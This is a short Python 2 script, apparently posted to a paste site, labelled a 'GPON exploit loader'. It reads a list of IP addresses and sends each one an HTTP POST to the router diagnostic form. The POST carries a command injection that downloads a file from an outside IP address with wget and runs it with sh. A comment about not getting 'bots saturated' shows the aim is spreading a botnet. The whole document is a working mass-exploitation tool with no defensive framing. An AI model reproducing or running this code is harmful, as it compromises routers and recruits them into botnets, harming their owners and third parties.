SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/python | |
| 2 | ||
| 3 | # gpon exploit loader by nexus zeta ; if ive sent u this dont give this to skids - use your head dont get bots saturated | |
| 4 | # note to self: reintegrate parallelized thread pool alongside queue / gevent? (maybe) | |
| 5 | ||
| 6 | import sys, socket, time, os | |
| 7 | from Queue import * | |
| 8 | #from multiprocessing.dummy import Pool as ThreadPool | |
| 9 | #from multiprocessing import Process | |
| 10 | from threading import Thread | |
| 11 | from sys import stdout | |
| 12 | ||
| 13 | if len(sys.argv) < 2: | |
| 14 | print "Usage: python "+sys.argv[0]+" <list>" | |
| 15 | sys.exit() | |
| 16 | ||
| 17 | port = 8080 | |
| 18 | buf = 4096 | |
| 19 | count = 0 | |
| 20 | queue = Queue() | |
| 21 | post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(wget+http://206.189.157.219/w+-O+->+/tmp/w;sh+/tmp/w)&ipv=0\r\n" | |
| 22 | headers = "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data) | |
| 23 | i = 0 | |
| 24 | ips = open(sys.argv[1], "r").readlines() | |
| 25 | ||
| 26 | def gpwn(host): | |
| 27 | global i | |
| 28 | host = host.strip("\n")
| |
| 29 | try: | |
| 30 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| 31 | s.settimeout(5) | |
| 32 | s.connect((host, port)) | |
| 33 | s.send(headers) | |
| 34 | time.sleep(0.5) | |
| 35 | print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host) | |
| 36 | resp = s.recv(buf).strip() | |
| 37 | if "200 OK" in resp: | |
| 38 | i += 1 | |
| 39 | s.close() | |
| 40 | except: | |
| 41 | pass | |
| 42 | ||
| 43 | def load_to_queue(): | |
| 44 | global count | |
| 45 | for line in ips: | |
| 46 | count += 1 | |
| 47 | line = line.strip("\r\n")
| |
| 48 | sys.stdout.write("\r[%d] Added to queue" % (count))
| |
| 49 | sys.stdout.flush() | |
| 50 | queue.put(line) | |
| 51 | sys.stdout.write("\n")
| |
| 52 | ||
| 53 | def main(): | |
| 54 | load_to_queue() | |
| 55 | i = 0 | |
| 56 | while i < count: | |
| 57 | i += 1 | |
| 58 | try: | |
| 59 | ip = queue.get() | |
| 60 | f = Thread(target=gpwn, args=(ip,)) | |
| 61 | f.start() | |
| 62 | queue.task_done() | |
| 63 | except KeyboardInterrupt: | |
| 64 | os.kill(os.getpid(),9) | |
| 65 | except Exception as i: | |
| 66 | print i | |
| 67 | pass | |
| 68 | if __name__ == "__main__": | |
| 69 | main() |